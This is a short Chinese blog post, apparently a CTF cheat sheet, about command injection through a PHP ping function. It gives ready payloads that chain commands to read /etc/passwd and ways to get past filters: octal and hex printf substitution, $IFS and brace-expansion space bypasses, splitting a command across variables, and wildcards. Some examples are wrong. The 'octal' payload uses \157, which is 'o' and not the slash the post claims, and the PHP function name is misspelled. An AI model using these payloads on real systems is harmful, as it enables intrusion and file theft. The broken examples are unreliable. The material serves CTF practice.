rce-ctf速查及绕过
尝试拼接:(只要能作为命令分隔符的都行)
(1) ; (2) & (3)&& (4)|| (5)| (6)%0a (7)%09
#ping 127.0.0.1%0als
例题:
查看是否包含正斜杠 /”,否则返回0,实则为对输入IP做正则过滤,若含“/”则走else分支,否则执行ping命令
if (!pre_match_all("/\//", $ip, $m)){
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res); }
else
{ $res = $m; }
Payload(绕过方式):
一、直接拼接命令
127.0.0.1;cd ..;cd ..;cd etc;cat passwd
二、八进制绕过
→ \57 为 / 的 ASCII 八进制码(ASCII码47 = 057 八进制)
→ $(printf"\57") 会解析为实际的 / 字符
注:$ (...) 为命令替换语法,会执行括号内命令并将其输出代入主命令
Payload 示例:
127.0.0.1;cat $(printf "\157")etc$(printf "\157")passwd
三、十六进制绕过
→ \x2f 对应 / 的十六进制(斜杠 / 的 ASCII 码为 47,对应十六进制为 2f)
Payload 示例:
127.0.0.1;cat $(printf "\x2f")etc$(printf "\x2f")passwd
四、空格绕过
【1】windows
%Variable:~起始位置,长度% 的含义:
在 Windows 批处理(.bat/.cmd)脚本中,环境变量支持字符串截取功能,语法格式是:
%变量名:~起始位置,截取长度%
%ProgramFiles:~10,1%表示的为空格

【2】linux
(1)$IFS$9代表空格
(2)${IFS}代表空格
(3)bash有效,但zsh,dash无效:{cmd,args}

注:
(1){whoami,}执行whoami命令
(2){cat,flag.php}执行cat flag.php命令
(4)这里查看文件还可以用<>,例如cat<>flag
五、绕过字符过滤
(1)利用变量拼接
linux: a=c;b=at;c=fl;d=ag;$a$b ${c}${d}
#最终$a$b是cat,${c}${d}为flag
#所以这里执行的命令是cat flag
(2)通配符绕过
?:一个任意字符
*:多个任意字符
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627216

浙公网安备 33010602011771号